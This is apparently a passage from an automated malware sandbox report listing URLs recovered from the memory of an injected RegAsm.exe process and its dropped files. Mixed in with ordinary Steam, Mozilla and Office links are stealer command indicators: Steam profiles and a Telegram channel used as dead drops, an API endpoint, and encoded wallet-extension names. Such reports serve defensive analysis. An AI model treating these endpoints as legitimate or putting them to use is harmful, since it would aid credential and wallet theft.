Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000E71000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/JyO
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2340395451.0000000000E9B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://steamcommunity.com/discussions/
Source: RegAsm.exe, 0000001B.00000002.2589447441.000000000115F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/f
Source: RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2366798957.0000000001098000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: 76561199780418869[1].htm.27.dr	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199780418869
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2340395451.0000000000E9B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://steamcommunity.com/market/
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2340395451.0000000000E9B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000046C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: RegAsm.exe, 0000001B.00000002.2589447441.000000000115F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/n
Source: RegAsm.exe, 0000001C.00000002.2541722970.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: RegAsm.exe, 00000009.00000002.2366798957.0000000001098000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: RegAsm.exe, 00000009.00000002.2366798957.0000000001098000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: RegAsm.exe, 0000001C.00000002.2541722970.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900q
Source: file.exe, 00000000.00000002.1666233856.00000000037E5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, RegAsm.exe, 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, KJEGDBKFIJ.exe, 0000000A.00000002.2293601659.000000000346B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D90000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.000000000115F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.0000000000437000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869/badges
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869/inventory/
Source: RegAsm.exe, 0000001B.00000002.2589447441.000000000115F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/765611997804188699
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000E71000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869L
Source: RegAsm.exe, 0000000C.00000002.2740659135.0000000000D90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869iI1
Source: file.exe, 00000000.00000002.1666233856.00000000037E5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, KJEGDBKFIJ.exe, 0000000A.00000002.2293601659.000000000346B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.0000000000437000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869u55uhttps://t.me/ae5edMozilla/5.0
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000E71000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869z
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2340395451.0000000000E9B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://steamcommunity.com/workshop/
Source: RegAsm.exe, 00000009.00000002.2366798957.000000000104F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900
Source: 76561199780418869[1].htm.27.dr	String found in binary or memory: https://store.steampowered.com/
Source: RegAsm.exe, 0000001B.00000002.2589447441.000000000115F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: 76561199780418869[1].htm.27.dr	String found in binary or memory: https://store.steampowered.com/about/
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2340395451.0000000000E9B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000046C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://store.steampowered.com/explore/
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2366798957.0000000001098000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://store.steampowered.com/legal/
Source: RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://store.steampowered.com/mobile
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2340395451.0000000000E9B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000046C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://store.steampowered.com/news/
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2340395451.0000000000E9B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000046C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2340395451.0000000000E9B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000046B000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://store.steampowered.com/stats/
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000052D000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: FHIDAF.2.dr	String found in binary or memory: https://support.mozilla.org
Source: FHIDAF.2.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: FHIDAF.2.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: RegAsm.exe, 00000002.00000002.2347796347.0000000019ABD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000E57000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2746964105.00000000197DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000063B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2759155964.0000000000400000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2759155964.000000000045A000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000063A000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.0000000001260000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2596282992.000000001C18D000.00000004.00000020.00020000.00000000.sdmp, AKFHDB.2.dr, AAKEGD.12.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: RegAsm.exe, 0000000F.00000002.2759155964.0000000000400000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2759155964.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY
Source: RegAsm.exe, 0000000F.00000002.2759155964.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV
Source: AKFHDB.2.dr, AAKEGD.12.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: RegAsm.exe, 0000000C.00000002.2737816539.000000000063B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000063A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016ost.exe
Source: RegAsm.exe, 0000000C.00000002.2737816539.000000000063B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016xe
Source: RegAsm.exe, 00000002.00000002.2347796347.0000000019ABD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000E57000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2746964105.00000000197DD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000063B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2759155964.000000000045A000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000063A000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.0000000001260000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2596282992.000000001C18D000.00000004.00000020.00020000.00000000.sdmp, AKFHDB.2.dr, AAKEGD.12.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: RegAsm.exe, 0000000F.00000002.2759155964.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e171
Source: AKFHDB.2.dr, AAKEGD.12.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: RegAsm.exe, 0000000F.00000002.2759155964.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF
Source: RegAsm.exe, 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17host.exe
Source: RegAsm.exe, 0000000F.00000002.2759155964.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm
Source: RegAsm.exe, 0000000C.00000002.2737816539.000000000063B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.000000000063A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rer.exe
Source: file.exe, 00000000.00000002.1666233856.00000000037E5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, RegAsm.exe, 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, KJEGDBKFIJ.exe, 0000000A.00000002.2293601659.000000000346B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.0000000000437000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/ae5ed
Source: RegAsm.exe, 00000009.00000002.2366798957.000000000104F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treatynreit.site/api
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2782993650.00000000277AF000.00000004.00000020.00020000.00000000.sdmp, DGCAAFBFBKFIDGDHJDBK.15.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: RegAsm.exe, 00000002.00000002.2367073275.00000000204D6000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2382470007.0000000032328000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2372826674.0000000026447000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2394990249.000000003E206000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.2.dr, softokn3[1].dll.15.dr, softokn3.dll.2.dr, mozglue.dll.2.dr, freebl3[1].dll.15.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, AFCAAE.2.dr, EGIDAAFI.15.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 66fbfcc9963ca_ldfsna[1].exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.2.dr, IIJKJDAFHJ.exe.2.dr, 66fbfccd837ac_vadggdsa[1].exe.15.dr, userBAAAAKJKJE.exe.15.dr, GDBFCGIIIJ.exe.2.dr, 66fbfcc9963ca_ldfsna[1].exe.15.dr, KJEGDBKFIJ.exe.2.dr	String found in binary or memory: https://www.entrust.net/rpa0
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2782993650.00000000277AF000.00000004.00000020.00020000.00000000.sdmp, DGCAAFBFBKFIDGDHJDBK.15.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, AFCAAE.2.dr, EGIDAAFI.15.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: FHIDAF.2.dr	String found in binary or memory: https://www.mozilla.org
Source: RegAsm.exe, 00000002.00000002.2347796347.0000000019ABD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2759155964.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: FHIDAF.2.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: RegAsm.exe, 00000002.00000002.2347796347.0000000019ABD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2759155964.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: FHIDAF.2.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: RegAsm.exe, 00000002.00000002.2347796347.0000000019ABD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2759155964.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: FHIDAF.2.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: RegAsm.exe, 0000000F.00000002.2759155964.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: RegAsm.exe, 0000000F.00000002.2759155964.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: RegAsm.exe, 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/vchost.exe
Source: FHIDAF.2.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: RegAsm.exe, 00000002.00000002.2347796347.0000000019ABD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2759155964.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: RegAsm.exe, 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/chost.exe
Source: FHIDAF.2.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.0000000000506000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.00000000004E1000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.00000000004E8000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000050E000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.00000000004F6000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.0000000000528000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.0000000000516000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.00000000004DA000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.00000000004FE000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.00000000004EF000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2737816539.000000000051F000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.0000000000506000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.00000000004FE000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.00000000004F6000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.0000000000516000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2585998316.00000000004DA000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: RegAsm.exe, 0000000C.00000002.2740659135.0000000000D90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ybe.c/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
